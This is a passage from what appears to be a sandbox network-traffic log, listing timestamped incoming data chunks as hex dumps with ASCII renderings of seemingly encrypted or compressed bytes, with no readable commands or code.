d3 08 1f 25 ad e9 7c 45 0a d4 10 27 ac 67 ec 68 d1 91 0a Data Ascii: 61p?`t>Cr\|WU^FL!'""RW{rUCtdD"fJVW2613as\mGZ/X^y'jhO)Wd{Jd9y[77QduF`RPF=k^)/w]F(Ep..PU%\|E'gh
2023-07-18 15:27:10 UTC	400	IN	Data Raw: d9 72 53 11 7b 01 1e f5 2f b3 a4 6f ef a6 f0 ea 15 9b 38 a6 c5 f8 be 8a d6 2f 3b 77 eb 77 cc b0 e9 f4 92 12 16 15 7f 06 c0 d3 26 77 b7 a2 b2 98 f5 18 ea 44 77 0b 03 59 98 fe 19 f2 f8 97 0e a7 da c8 9d 4b 39 b6 7d 1b 08 24 1f e5 1c ca 0b 00 64 2b 7c 0b b4 c3 f0 00 83 b2 7f 63 b2 0a 6e e7 4b f3 52 fd 8b 59 e0 2c 84 a6 4f 00 f8 04 84 59 8a 6f c3 70 6f 90 56 2e 08 e3 cb 7a 90 a7 80 64 37 39 d3 ea fd 99 c2 47 50 83 24 a0 30 83 77 7c 32 24 b2 a7 9e 19 c9 3a e1 aa 8b 80 3c 3b 45 09 2d 5c 73 59 39 7a 1e be 8a 06 a1 3f 70 20 0c bd 62 ff 05 3e 37 c6 04 8c 21 a6 e5 4d 29 dd 01 b6 e9 22 db 8b a0 49 cf 4f 00 ad ea 29 d8 b0 3e 28 fb 57 2e b8 77 7f d4 61 fb 71 d0 72 b5 c1 a8 83 80 64 b0 eb df 4b a1 99 30 cd e5 53 08 80 6b 8f 0f 04 57 23 a2 15 17 c4 62 38 3f a4 22 74 d9 Data Ascii: rS{/o8/;ww&wDwYK9}$d+\|cnKRY,OYopoV.zd79GP$0w\|2$:<;E-\sY9z?p b>7!M)"IO)>(W.waqrdK0SkW#b8?"t
2023-07-18 15:27:10 UTC	416	IN	Data Raw: b9 f0 12 84 89 f7 98 bf 03 41 4e 59 51 7c 04 63 d5 6a 94 eb 75 4a c1 ca ad a0 67 8f b7 b0 d5 4e 89 53 d6 04 67 69 cb f1 7a cc 32 00 3a 8d 3f b9 32 14 ec ed 24 f1 7c 5a 81 dc c0 15 b6 5f a2 31 29 b3 15 09 7c b6 7c 6c 62 2f a8 09 4d fd 3d f0 43 71 4a c4 96 c8 63 bf f4 ed 7d 82 59 a9 9f f2 88 85 01 ac a3 52 3f 29 3b cb 1f 13 bd a7 dc 48 99 0c f7 ad 68 ee 92 2e 3c 94 cf 5e 33 61 69 9d 86 c6 ab b4 d5 7e fa d0 7c 9c 1e 56 18 b1 6f 83 9c 0f c6 20 18 83 1c 42 ee 50 ac 0a bf 48 a5 a9 8f 8e 9c c8 8b 87 8d 80 74 da 76 2a c9 2a 19 6b 9c a0 1e 02 02 37 8d 73 9e 2c 97 86 e9 6b f5 20 de 59 42 e2 48 57 3b 35 35 71 81 d7 7c 39 15 c9 bf eb 17 51 d0 16 ab 8b 49 98 14 42 c9 b7 60 78 66 c5 a1 ff 66 b2 1a ae a2 87 3f 34 19 e5 b0 03 99 0f 70 02 0f 4e ac fc 45 62 7a 22 13 3e 3f Data Ascii: ANYQ\|cjuJgNSgiz2:?2$\|Z_1)\|\|lb/M=CqJc}YR?);Hh.<^3ai~\|Vo BPHtv**k7s,k YBHW;55q\|9QIB`xff?4pNEbz">?
2023-07-18 15:27:10 UTC	432	IN	Data Raw: 54 af b6 16 cc 0a 1b 24 f1 85 c5 10 14 f9 37 ac 59 98 b1 47 57 9a a7 ec 12 3b da 36 bd 36 7e ca b8 3e 89 45 de a8 dc 02 59 36 ce 5d ca ab b7 a6 5e 54 f9 00 de b8 dd df 7a 80 b8 3c 30 9c 60 71 20 ad 91 7e 17 e9 1d 84 82 ec cd b3 4b a0 ad 38 c0 34 03 4d 98 be 27 08 8e 29 65 07 ba cb 83 93 23 de 7e ab c5 e6 fb 15 af 63 65 53 ce 8a d8 69 2f ef 42 80 92 9e 42 7a 15 07 39 9a a6 de 55 ff 7c 65 7f fc 57 f2 1e 8a 8b b3 2a 5f f6 cc 37 0f db be 87 52 79 15 d3 b4 73 09 30 35 06 b1 5f 71 21 16 61 c5 25 11 c0 45 53 91 1c 8a 9a 56 3c 41 d1 a3 8c 29 de 89 d3 d5 0d 28 4e 78 60 1f 61 24 c8 63 47 66 7f 4c ca 3b 10 49 e8 c9 64 6a 71 13 b8 06 e6 ef f6 b8 9d 00 d8 51 6e da 58 97 b2 80 39 aa 55 15 de 41 8c 96 8b d3 e2 24 1b ef 6d 89 ea 4d cf bd f6 6b 57 b5 f6 72 e3 6e 20 f2 52 Data Ascii: T$7YGW;66~>EY6]^Tz<0`q ~K84M')e#~ceSi/BBz9U\|eW*_7Rys05_q!a%ESV<A)(Nx`a$cGfL;IdjqQnX9UA$mMkWrn R
2023-07-18 15:27:10 UTC	448	IN	Data Raw: fb fb 2a 1d 63 f3 f6 75 d1 2d 8b e8 ce d4 63 4c fd cf 53 e1 c3 08 90 d6 0c ea d7 81 fc 4b 6f c7 df 88 aa ff a1 c8 7d d3 ea 98 f5 38 46 19 bb 20 a6 51 7a db 22 25 32 9c a9 1c df 14 2d 3e 55 fb 19 5d df e1 43 0f 0e 5c d3 80 8a a2 e3 e7 01 0c d6 8c e0 b4 ce 31 fb d2 fc c7 e2 74 81 0a 85 08 7a 9c 43 09 1a be 3d 34 94 71 28 69 f3 e5 4d 89 b5 d8 9b 83 93 e4 b9 51 55 45 da ad 20 22 7e 36 de 1b 50 fa 50 13 b1 c9 92 18 66 54 4c fe 63 3a 0d a9 08 03 0a bd a1 13 8f f0 73 9c 64 5b f2 f3 5a 7c d4 36 f5 d0 15 fd 1b c8 47 12 00 94 c9 a0 f7 ae 86 d0 4d 91 f7 3a f6 da 60 62 26 0c 2c ad e8 78 de df 10 eb a7 72 60 70 dc 33 a5 8c ac 6a d1 91 32 ed 64 a5 4b 11 6d 69 be a3 b7 9b 5e 06 84 a4 70 b9 64 fd cc 26 76 bd e4 1b 6c 75 db 2c 8e 26 c3 e0 11 41 4d 5e f1 ac fc cf c0 5d 75 Data Ascii: *cu-cLSKo}8F Qz"%2->U]C\1tzC=4q(iMQUE "~6PPfTLc:sd[Z\|6GM:`b&,xr`p3j2dKmi^pd&vlu,&AM^]u
2023-07-18 15:27:10 UTC	464	IN	Data Raw: 13 d1 6a 35 a3 aa 51 bf 39 45 10 8b cb 52 f3 62 fa 15 58 a4 4a 0d 52 9c 9a 90 8c da f6 a5 df 61 2b 8f c8 9f 49 9f ae 0e 3b 7d 73 83 b1 fa e1 20 70 63 46 e5 e1 01 4a c9 95 1d 4e c8 c2 c1 28 01 02 63 3a c8 76 b7 48 01 ce 18 7b d3 e2 cd 07 2b 3b 63 fe e9 e2 f8 dc 41 bc c9 15 e1 05 36 52 6b 99 2f 74 3f 77 cd 27 d2 44 39 ef 47 df 79 5a 77 07 83 ee 74 a3 b2 54 2e 00 7b 68 33 3f c6 5d b5 bc 7d 8e 9f 6c 25 78 16 40 0e 74 ce ec 2a 41 5f 76 1d fc 99 ee af 0c 76 bc 65 e7 e0 91 2b ba 4d fb 49 ab ca 50 65 cc 00 a3 02 00 37 ff e2 ff 71 2f 1a 26 b9 bb e8 1e 13 47 ce 00 a0 0c 02 59 ea 40 23 67 8b d1 98 ac 12 55 f3 3a bc 00 cf 59 33 6f 2f 67 16 96 de 61 6c 48 15 52 ce 58 8e a8 b3 74 ab d5 fb 7e 30 be 3b a4 b9 d2 84 2a 3c 24 0f 32 e9 ca 0b ac a6 03 9e 20 c8 ea 08 47 a2 b0 Data Ascii: j5Q9ERbXJRa+I;}s pcFJN(c:vH{+;cA6Rk/t?w'D9GyZwtT.{h3?]}l%x@tA_vve+MIPe7q/&GY@#gU:Y3o/galHRXt~0;<$2 G
2023-07-18 15:27:10 UTC	480	IN	Data Raw: 4b e5 4b e2 5a 07 7c 88 b6 df 17 f1 29 0a 94 68 2b 06 1b 77 eb eb 84 41 49 76 6a 83 f2 5d a6 a1 4d 85 8d 17 5c a3 4d 77 40 6c 80 45 81 21 cc ad 57 52 66 91 fa 85 ba 34 e6 d4 69 18 dc cc 43 bb 05 c3 13 32 27 b1 d5 84 9f 51 8e 33 fa f9 68 49 1a bb 13 de 72 3c 97 c5 f7 6a b2 65 e6 4e 12 ab e3 dc 09 d9 3d 9e 52 4b 0a ac 06 73 c0 9a fa eb a1 ba 65 85 67 4e c7 45 70 80 c2 bd 8c f5 4b 24 4b 03 97 92 18 7b 35 0e f3 0a 41 59 31 b2 c3 9c e0 dc 4a 69 29 49 87 85 6a 0b 55 20 2a b9 93 ba ff 6d 68 d4 09 bd 3c 0e d1 e6 3e de a2 99 df 93 ca a5 f0 3f f4 99 1a ba 75 18 ff b0 2c d0 a5 b0 e1 25 ad 83 63 be af e0 67 dd 7a 2b b5 14 16 ea 89 5b a8 ec ae d1 a6 8d 5e 3a 69 e0 a4 dc e0 0c a0 4f 75 ed dd 8c a7 16 f4 bd a0 09 c7 b1 de 41 6e 5c c8 e5 54 1f 11 b4 e2 08 c3 b3 78 9c e4 Data Ascii: KKZ\|)h+wAIvj]M\Mw@lE!WRf4iC2'Q3hIr<jeN=RKsegNEpK$K{5AY1Ji)IjU *mh<>?u,%cgz+[^:iOuAn\Tx
2023-07-18 15:27:10 UTC	496	IN	Data Raw: 0f 99 2a 7c 0b 11 e2 c1 68 19 1d 0d 55 fb 8b 1d 4c fe f2 89 7d dd cb df 9b 89 c0 27 b9 4a a4 34 f3 9e 16 69 21 e8 90 26 01 bd 26 53 ee e2 8f 6e c9 4a 5b 1b 29 5c 19 ab d8 0f fa 94 bd ae e3 42 81 43 8c 99 08 9b 4c 90 ce 55 d8 ab 13 ba d9 0d 68 1a 19 b8 38 2e 6b 8d f0 15 8d 50 14 94 2d 91 5c ac 5c 7f 71 2b db ce d0 34 22 bf 17 c4 4d 9d fa d7 23 e4 fa 9a 97 e6 1b bd 43 b9 10 17 1b 5b 77 e6 73 b9 17 63 85 a3 db c9 19 2b ca b2 b1 1e c1 0e 1d b9 ee fa 66 99 26 a3 ec 50 cb 7e e9 f2 72 78 a5 a1 2e 97 5b c3 06 1e 4f 8a da 05 70 43 91 5c 10 05 c0 62 9c 88 5b e8 cf fa 28 a2 33 c0 8d 50 11 89 dc 0c 53 2a 4d a2 66 5a 52 ce 38 8d d5 7d c1 06 db dd 73 d5 ab 85 a7 34 97 5f 7d bf 41 fd 40 da bd 12 01 85 6e 9b 47 68 ff 71 fa 54 2e ab a1 58 c4 4d 51 51 1b 9f 24 65 6c 43 ac Data Ascii: \|hUL}'J4i!&&SnJ[)\BCLUh8.kP-\\q+4"M#C[wsc+f&P~rx.[OpC\b[(3PSMfZR8}s4_}A@nGhqT.XMQQ$elC
2023-07-18 15:27:10 UTC	512	IN	Data Raw: fc b1 94 86 2b 30 3e 4a 4d 4a a9 2b 9b ca 5a 12 69 8d 67 e3 56 1e 0a ec a0 1f 4c c4 89 60 d0 bb 2b c6 08 a7 d7 4f d9 f7 67 fc 68 be 63 0b 90 c7 e2 06 ea 47 f7 ab 8e 3d 7d db 8d f4 70 72 59 dc 80 be 79 af 35 86 ca 42 78 80 7b 0e 89 4b 25 7e ed b3 41 b6 4a e9 61 dd 62 7e 5b 7b 30 29 50 1c 6e 92 23 a8 f8 bf b5 7d 94 af 76 c3 16 f1 79 0f 9a dc 17 68 fe f8 cb 63 30 c3 20 4e a6 9d 5e 31 9e 82 f2 02 24 ca 2a 85 a9 20 92 d4 48 a3 fd 16 05 52 df ed a5 4a f9 d4 cf 85 46 31 fa 9c 35 50 5e de e0 bf 6b 11 68 58 f3 59 05 ca 57 ce bc cf 5e e4 ed 02 77 56 02 9b 06 85 e8 5b 34 8c bf ac f4 cb 21 b6 5d e2 cc 5b 67 aa cb 7e d9 5b 3a 10 85 41 b1 64 2e f1 05 31 da 40 6e ab c8 6c 46 19 01 d1 ad 10 67 e2 df d3 34 57 81 07 4e 80 ec f4 55 88 e0 3f fa 05 ac 5d bc b9 87 16 4e 2e 52 Data Ascii: +0>JMJ+ZigVL`+OghcG=}prYy5Bx{K%~AJab~[{0)Pn#}vyhc0 N^1$* HRJF15P^khXYW^wV[4!][g~[:Ad.1@nlFg4WNU?]N.R
2023-07-18 15:27:10 UTC	528	IN	Data Raw: c3 0f 80 96 a3 26 55 39 4f 44 35 9b b8 65 35 92 10 c8 a5 98 5c 11 fa b7 a6 ce 3d ef cd af 92 9e 7f 33 17 3a 89 51 a2 63 1e a2 0e 60 19 5c d4 c7 f4 82 94 24 df ac d5 d6 94 26 e3 a1 46 28 60 29 81 ab 19 86 2a 02 84 c8 83 4b 6c dc ac a7 ae 4f 7e 32 2a 11 0a 09 86 8b 76 c9 5f 0f ef f4 76 63 f2 73 60 ff 19 e6 51 5f 88 d1 a3 12 d3 44 63 62 ae 25 0d 0a 6e 6d 66 79 cc 04 c9 77 ff 8a a8 0d c3 d9 58 89 09 4d f3 fd 77 22 b4 31 93 dd b5 fa 8b 64 95 80 65 24 93 39 ae 19 2e 43 64 77 d9 70 a4 8b d2 4b eb 77 f4 25 64 84 23 18 dc 1a 79 c5 ba ee 9c 2c 2e b8 3d 14 f2 8f ff 62 18 dd e4 0c 59 8c 1a 20 de 76 76 1e 28 1d 77 27 e6 5e 6b 03 ee f1 8d fa 8f db e4 9a 98 21 3b 08 8a 19 18 3c 7a 56 12 d2 47 76 6c b7 17 01 df 6e 67 a5 3e 47 84 66 37 3c b8 49 89 24 fa 1e 32 9f 16 cb 45 Data Ascii: &U9OD5e5\=3:Qc`\$&F(`)KlO~2v_vcs`Q_Dcb%nmfywXMw"1de$9.CdwpKw%d#y,.=bY vv(w'^k!;<zVGvlng>Gf7<I$2E
2023-07-18 15:27:10 UTC	544	IN	Data Raw: 4b f3 88 47 7c 37 62 ec b7 bb 75 51 10 0e 70 fe fb 70 bd df 85 8f 1c e1 1c 1a 70 d4 57 3d 17 ce c1 0d e3 0f 86 a5 0f 07 cc 36 f1 f1 8b 20 f2 42 52 47 b2 bb 35 0b c0 0d eb cf f4 7c ee 5a 6b 97 e8 05 2e c7 94 8e a4 7f fd 16 94 2b 89 30 d1 ab bb a8 93 38 da 43 37 54 57 c8 59 72 f4 91 04 4e 0d 1c fd 20 55 e1 9b 6d b7 57 25 33 69 91 d9 83 8c c6 4c 8b ff 66 86 ed 8c 9c 02 17 2d 08 12 6a 26 0e a4 b6 02 e7 f6 13 47 aa ed cb c2 42 70 65 43 6f 07 ac d3 76 57 1b 33 39 76 26 c8 5a fd ed 8a 84 fc c9 24 c5 2f f9 78 f2 3d a0 fd b4 5e 71 36 85 c6 cd 99 f4 c9 0d 62 9d 09 ae c4 f4 96 02 ea 36 69 99 df a4 30 6c b8 f3 d9 0f d7 ac 8c f2 e8 3f 16 6c 38 ff 71 f4 30 53 93 b0 49 9d a5 ec 05 c2 17 41 59 fb 11 d2 7f 02 76 5c 70 7e 40 8f 0d dc 6b 33 f2 4d 95 a9 f5 25 0e c5 a8 95 25 Data Ascii: KG\|7buQpppW=6 BRG5\|Zk.+08C7TWYrN UmW%3iLf-j&GBpeCovW39v&Z$/x=^q6b6i0l?l8q0SIAYv\p~@k3M%%
2023-07-18 15:27:10 UTC	560	IN	Data Raw: 5d 67 45 59 82 ed 39 c8 fc 64 d1 52 b1 b2 79 94 b9 32 8e ec 1a f8 87 ef 2a a8 59 83 af a0 d2 b2 48 fa 39 85 c5 41 06 52 99 12 d4 1e 2d 67 1f 9a 18 d5 f9 b0 e8 f1 4d fe 40 01 8e bb 51 54 f6 27 79 5b 5b 94 5a 37 f4 fd cd f0 bf 65 86 fb 4a 86 ee 6e 81 07 a7 61 f4 da 56 ce ad 62 48 bf 06 ea c4 4d db 81 d1 a8 dd 5b 47 73 07 f0 74 d8 ac 87 e2 eb 18 0d ab 02 38 52 51 d8 94 62 71 07 b7 26 4d ec 5b 4a f9 8b 42 73 18 db 1b 26 de 56 b6 72 e8 d0 b5 d0 79 f9 20 26 4d d0 69 26 6a e9 89 98 6c cd 8b ff 7e 8d 23 4a e9 20 15 d8 72 99 86 b2 22 18 99 00 cb ce 28 ca 89 e3 2e 97 bc ee ce 31 85 58 19 e4 6e af eb 90 ff 13 9b 59 a5 bf f7 8c 2a ed 69 3f 6a fc 2a 46 d4 fd 9d d2 15 88 00 d5 00 00 c5 d3 0a c3 2b a8 8c 61 7a d8 8a 03 fb e5 b2 01 5e da 2e 03 67 c4 7c 11 8d 55 95 18 de Data Ascii: ]gEY9dRy2YH9AR-gM@QT'y[[Z7eJnaVbHM[Gst8RQbq&M[JBs&Vry &Mi&jl~#J r"(.1XnYi?j*F+az^.g\|U
2023-07-18 15:27:10 UTC	576	IN	Data Raw: 88 31 bd 83 9a 28 26 9a 23 8a 05 11 08 c1 79 a2 c8 18 2d bf 9b 38 a2 e2 4a c8 bd 0d ba ef 30 e5 67 93 9f aa e8 7b 98 31 8b 9c f7 fa 2d 77 af 7c 8f e7 bd b5 54 dc a9 ae f3 28 77 29 37 a1 20 c7 b9 98 49 95 bc f6 81 16 03 77 7b d9 c3 c0 92 ef 42 ef 60 fc 7f b9 51 cc 3a b7 16 36 65 e7 4f 78 ba ae a3 51 82 13 56 9d ce 6f ca 82 6d 11 1a d1 f8 43 30 9f 9e dd 5b 36 f4 d7 48 7a ea e3 db 1d eb b7 7c b9 db 69 aa 16 ee f4 06 87 0f 09 12 b2 2b 7a ec 80 21 58 49 f9 39 18 3e 29 8b b7 46 a2 e3 03 e8 1c 6d 58 eb 39 0d 54 4a 7d 33 56 9f 98 de 1b e0 a6 91 0f af 0f 26 39 72 91 d4 7b 61 94 1e 7c c8 8e 4f bf af 55 c7 dc 98 2e eb 93 f3 81 81 09 ba 61 d2 cf f6 bd a9 d6 18 8d 31 90 79 fd 55 0f 79 c7 62 89 fe f0 87 4e 53 23 f5 f7 52 c2 52 7e 87 b4 cd c5 a7 a5 9f af b6 f8 93 90 5f Data Ascii: 1(&#y-8J0g{1-w\|T(w)7 Iw{B`Q:6eOxQVomC0[6Hz\|i+z!XI9>)FmX9TJ}3V&9r{a\|OU.a1yUybNS#RR~_
2023-07-18 15:27:10 UTC	592	IN	Data Raw: 2e a0 f2 0c 1d 57 36 ff 2a d7 39 04 3c 6b f1 c4 cb b9 31 88 a7 79 2a f5 67 d0 ad c4 16 83 85 2d 9f e2 81 16 20 d6 61 3c 30 c3 f7 5e 39 ee 3d fb 37 9d 53 85 ad 85 63 f5 ea be c8 cf 9c da b5 e7 85 a0 9b af 62 3c 8a de 67 1d 15 bc f6 3c 63 d7 79 c5 08 c2 aa d9 8a 87 8c 02 cd 91 19 cb 1c 85 06 93 73 a2 54 d0 4c 14 f7 43 b9 57 a1 26 24 35 0f 52 87 1c 90 20 fa e0 30 90 bd 8f 93 16 96 54 f8 5a 0e f5 25 7f 5a 37 89 38 d0 9f 03 c1 18 ec 97 c2 1c cd 61 83 ab 65 2a 09 24 48 2a 25 b9 96 5c 95 21 3a 2b e7 d5 46 fb d3 81 89 1a e5 8a 83 3e 0f 57 88 04 2f 71 a7 fd 4e 8c e0 c9 ce 87 0d 26 ee 64 80 a1 3b 79 51 d2 12 a7 0a 4a 1d 45 58 33 ac a8 70 e2 37 92 cd 06 9c fe f0 f9 dd 85 97 9a e4 16 22 f7 2c 29 29 06 97 5a 07 eb b6 35 41 36 30 d3 f2 2d 7f ec 98 21 41 ef a3 80 58 01 Data Ascii: .W69<k1yg- a<0^9=7Scb<g<cysTLCW&$5R 0TZ%Z78ae$H%\!:+F>W/qN&d;yQJEX3p7",))Z5A60-!AX
2023-07-18 15:27:10 UTC	608	IN	Data Raw: 08 14 39 fc f8 76 15 40 8f 79 4e 1a e3 98 9b ce 16 dc 3e bf 45 1d 2b 37 ad be a8 ab 0e 00 ff ed 49 71 bc d3 19 c4 a2 84 f6 27 04 1d d7 00 20 ca 55 d6 69 39 19 af 59 20 23 4b cb bb 8f e9 49 cc de 01 45 45 9d f4 13 52 98 e5 fa 52 48 fa 3a 1b f0 45 05 e6 a0 2f 2c 07 fb f3 60 0d 90 8a 69 fd 12 86 54 72 e4 9a b1 d7 4c 09 09 56 13 64 aa a4 ae dd ad 6e 69 3c 9f 52 6c 87 ee 02 ec 5d 03 86 90 ed 8a 9a 21 35 e8 2a 58 da 0c ce 5d 45 14 81 c1 50 50 c2 bf 72 ac ac dc 54 27 d0 63 16 21 92 f9 ca e7 75 09 9d 3d 9e 74 54 14 24 4a ea 3f 53 3d c7 fc a3 78 a2 1f dc 7b f5 16 eb 4e fd c4 04 29 9f c6 e1 8a cb 89 16 87 86 cf 33 5c 5e 36 83 4e f9 ec 96 7c 47 be 73 ad f6 69 67 85 72 20 09 7a 68 29 5b 37 a7 69 23 5d c4 74 f0 e9 c8 0c e1 3e 40 37 12 dc 54 69 f3 eb dc 14 a1 8f e8 85 Data Ascii: 9v@yN>E+7Iq' Ui9Y #KIEERRH:E/,`iTrLVdni<Rl]!5*X]EPPrT'c!u=tT$J?S=x{N)3\^6N\|Gsigr zh)[7i#]t>@7Ti
2023-07-18 15:27:10 UTC	624	IN	Data Raw: dc ba b3 74 9f c3 dc a9 c2 81 60 56 99 2d 19 8e 6f 17 9b d7 25 aa 7c 45 67 5e 3b 8a 1b dd 24 6e 72 f5 f3 3a a6 c3 59 b9 b5 0d de 0d 53 1b 32 9a 0e f2 ea 62 46 77 2d 64 cf 65 0e e2 35 bb cf 1a e9 b3 86 32 a0 6a 60 c7 64 38 72 54 18 c2 61 43 b1 d7 dc e6 d1 15 c1 2b b5 ae 9c 46 ed da a1 61 e0 a2 2d 82 dd 74 3a 3b 17 32 49 63 3c 29 b9 48 5d 35 21 18 49 68 06 2f b7 8c 28 9f 7f ca 83 43 b6 86 95 6f ff e2 8f ad 27 8e 0d 64 81 13 60 d7 9b 83 44 f6 c5 44 43 81 8f 10 30 f6 79 fd 02 5f 1d ef ec 21 95 fc 7d eb 7f 49 2e 55 b3 47 96 f9 52 dd 0a 62 d9 cf 00 70 d6 f1 d5 7b af 8d f5 b8 56 d6 94 5d 9d 7d cf 0c 06 c2 47 92 5c 8e 54 6f 77 8c c6 9a ec e6 c3 72 fd 4e 6a 70 fc b6 c7 fe 87 0d 09 8e 67 f9 29 c3 17 9c b9 2a bc 35 44 19 77 6d 03 8b 76 81 79 a9 89 7c 20 91 c9 7b 8d Data Ascii: t`V-o%\|Eg^;$nr:YS2bFw-de52j`d8rTaC+Fa-t:;2Ic<)H]5!Ih/(Co'd`DDC0y_!}I.UGRbp{V]}G\TowrNjpg)*5Dwmvy\| {
2023-07-18 15:27:10 UTC	640	IN	Data Raw: 12 aa a2 9b 40 f9 20 50 83 31 10 5e a7 46 83 db 63 08 a9 2f e7 28 fb af b6 1a 3e c5 cd 65 7d 3f b4 10 1d 54 17 bd 0a fc c7 ab a3 d5 a7 27 77 9c db 05 a8 92 d9 65 54 47 09 97 e3 b3 f9 76 c6 e4 7a 1b 46 50 62 f5 4a a1 c2 59 2a 3f ce 67 7b 71 0b 3f 90 bb 1a a3 46 51 1f 1f 46 be 18 ef d8 e7 52 4c 16 27 a4 19 e5 81 ea 70 cc 9d 4c 7a a6 07 73 ed 97 b9 37 9b 31 17 af 30 e9 13 60 5f 05 4f cf b6 51 5e 9d d3 de 1b 68 a3 4c 6d 1b c2 1b e0 27 a5 c8 e2 2c 7c 27 7b c0 df 55 12 ed 60 05 da 7e 54 6f 07 ec fe 36 c0 6c c1 ff 46 7c d2 3f ee b7 1e 25 11 e9 2c 67 af 24 fb 2e 7e 67 d4 d6 bc 3a 66 f0 6b df 11 a5 f5 cc c4 2d d2 c9 6d fe 78 91 d0 86 78 f6 4d 6a 3a 7d a6 27 b8 91 6a 47 5e 3f b7 c8 f0 d9 88 c9 7e b5 74 49 21 b5 59 31 5d 4a f0 2d 36 1b 1f 8c 9f ba 54 de 65 29 e5 77 Data Ascii: @ P1^Fc/(>e}?T'weTGvzFPbJY*?g{q?FQFRL'pLzs710`_OQ^hLm',\|'{U`~To6lF\|?%,g$.~g:fk-mxxMj:}'jG^?~tI!Y1]J-6Te)w
2023-07-18 15:27:10 UTC	656	IN	Data Raw: b5 fd f9 d3 8e 4e eb 5a e4 9c ea dd 7c 4e 62 1b 2d a0 6a 5e 2d e6 ec 02 49 f5 f4 82 83 41 31 a9 b0 7d 1f d0 9e 19 d9 87 6d 05 8a ea 69 76 bd 6d 69 ab 17 30 3c 74 12 49 c3 37 0a 59 1b e0 b0 e7 e1 37 8d 87 16 c0 98 f4 01 cf b5 24 99 cb 1a 23 82 c2 16 23 c3 ee 7f 6f 6b 7d 27 9e ff 39 33 05 04 92 e1 13 08 3d 62 03 2a aa 4f df 7f 9e 2d 5a 2a d0 e1 dc 37 4e b4 77 99 1c b5 9a c2 bb af 1e 95 9c 5c 65 b1 52 80 51 26 83 db 59 a0 d4 14 25 df 95 61 d2 14 28 97 c8 1f 54 44 43 2d 6f 81 2f 1e c3 b1 bf 8a e2 50 0f be bf d1 66 14 50 08 0f 18 34 04 3d 92 df 2c b4 a3 21 23 be 50 e8 81 4f f7 c9 64 0b 0f 45 f8 d0 41 9c d4 bd 81 9d 39 63 8e e0 56 e9 9d 88 81 3c 21 14 5f 2f 5c 80 6a 4c 7f 54 92 f0 73 f0 ea 22 fc bb a9 db f0 f4 9f a6 07 12 41 7f d0 7a a1 51 27 47 2f 66 dc 23 ca Data Ascii: NZ\|Nb-j^-IA1}mivmi0<tI7Y7$##ok}'93=bO-Z7Nw\eRQ&Y%a(TDC-o/PfP4=,!#POdEA9cV<!_/\jLTs"AzQ'G/f#
2023-07-18 15:27:10 UTC	672	IN	Data Raw: 00 76 b7 aa a8 2a 23 5a 09 ea 61 2f 71 a7 2b b3 23 f5 be 63 83 ee 35 f4 20 5a 3e c4 98 da d0 db 43 db bb ea c2 2e 33 c2 5f da 82 9c bf c5 cc 53 64 64 58 ad 01 2d 6b 5b e5 ba 37 eb 7f f1 a0 ac 70 a3 17 b6 a6 f2 86 de 6d d7 ba 7e 80 5e f8 20 dd 48 85 14 63 e0 1c 59 89 cb d6 b8 f4 15 0b 43 fd 99 90 fa 38 3b 1a ed db e9 be d1 cf 29 1a d9 9d 43 a1 ec 83 77 9d f5 6a c1 48 91 ab fa 63 f7 a1 1a af ea 41 03 b7 22 24 0a 84 ba 9a 5b 01 06 ea d6 52 15 6c be 97 32 0b c6 e1 28 b9 30 ac d2 18 7a 66 f5 2f e6 06 b7 f9 cb 37 73 ba d2 53 48 95 d4 1b 6a f0 41 c6 79 06 02 f9 39 3a 24 2b 31 82 7d fd 06 c2 64 f2 7e f8 8d 7d 47 88 a2 91 16 57 ef 1f d7 4f 6b ae d8 80 87 99 4e db f1 3d c0 d0 3f 29 b1 85 a0 f6 42 00 98 2e 72 02 6e 00 12 6a cf d8 e7 91 aa 06 8f 07 1f 8b da b1 86 f1 Data Ascii: v*#Za/q+#c5 Z>C.3_SddX-k[7pm~^ HcYC8;)CwjHcA"$[Rl2(0zf/7sSHjAy9:$+1}d~}GWOkN=?)B.rnj
2023-07-18 15:27:10 UTC	688	IN	Data Raw: d2 be 09 d2 ab ba 31 79 36 62 8f cd 53 6b cc 54 2b b6 06 c7 f0 fd 3d 81 55 fb 79 ac 0f 5e e8 cd f6 b0 a3 a7 b1 d7 52 b0 9f 91 7f 41 48 b0 ca 61 f1 69 9f ce 53 ff d6 ef af 5b 6b 30 63 e2 9a d2 d8 cf e4 fc 88 8c 78 28 d7 b5 dd d1 5b 6e fa 6a 74 73 73 de be 37 4d 29 5a 5e e7 42 86 2e e2 6a c8 5f fb 6b bf ca db 7b 14 58 1a bc c8 2d 5f f5 de c7 b8 ea 8c 96 62 44 53 5d a4 ac 78 71 0b a0 8e da e0 8f e8 e6 40 71 77 2c 07 06 46 eb 09 52 28 57 0c 16 d2 db b1 61 c3 8c 49 85 af 42 56 94 0f a6 61 a5 4f 88 b0 f2 a3 dd 8d 9c e0 41 a5 05 63 88 b5 57 d6 06 c0 30 a8 ef e1 dc a9 af 1c de f7 a1 bf 54 f2 d7 96 94 89 2c b0 4c 28 23 f6 88 f0 74 da e6 ce 33 a8 17 d1 07 1f 5f e5 50 20 b8 d8 9b ac 71 c9 55 3c c7 1e f7 af 0a 33 29 a4 78 52 ca 80 34 ae 41 d0 ba 09 8f 55 e8 0b bf 07 Data Ascii: 1y6bSkT+=Uy^RAHaiS[k0cx([njtss7M)Z^B.j_k{X-_bDS]xq@qw,FR(WaIBVaOAcW0T,L(#t3_P qU<3)xR4AU
2023-07-18 15:27:10 UTC	704	IN	Data Raw: 57 c8 72 d4 4d e3 5c bb 4f 10 1a 05 6f 52 2c 2d b5 4d 51 80 cd e4 d4 89 6a e0 31 51 fb cd d3 06 f0 53 a8 b1 7f 35 8d 92 cf 58 ec 68 96 c0 86 3c 55 fb e0 36 12 30 c9 e2 94 db aa 0e bd a0 cb f1 83 2a 1c a5 67 ac 08 72 4d 5f 8c fa 41 d2 7a 6f c4 98 e6 df d8 0a 85 c1 8d 3e e4 e1 b3 75 a3 9c e6 a6 9a 06 85 c5 a1 c6 a0 f4 86 34 86 0b 5e 2f 04 e1 d5 ba ed 2f d1 53 67 74 33 f1 06 b5 e9 c3 eb b1 b3 aa 34 b7 56 f3 e0 a3 60 41 aa 8d 84 69 f4 b3 9f f7 76 51 b1 bd cf be 66 ae ea 09 3c 78 2d 0c 3c ad f8 ee a4 30 8e d4 34 30 8f fa 08 62 ca b9 59 6b 8b f1 f6 0e cb 0b 3a 52 7b 7b 62 be 02 39 37 5c 6f 55 92 95 95 9b 4e cf 00 c3 c9 42 05 2b 4a 4f 30 5a 40 89 42 79 5e 52 96 a2 c1 70 d8 01 dd 32 28 93 67 34 30 18 63 24 57 cb 50 41 35 5c f9 e6 12 81 f0 b7 a9 69 